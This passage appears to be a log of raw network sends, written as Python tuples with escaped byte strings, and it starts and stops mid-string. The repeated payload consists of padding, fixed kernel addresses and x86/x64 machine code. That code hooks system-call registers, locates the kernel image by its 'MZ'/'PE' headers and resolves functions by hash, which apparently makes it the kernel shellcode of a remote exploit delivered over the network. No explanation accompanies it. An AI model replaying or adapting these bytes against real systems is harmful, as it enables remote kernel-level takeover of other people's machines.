0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 18, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 19, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 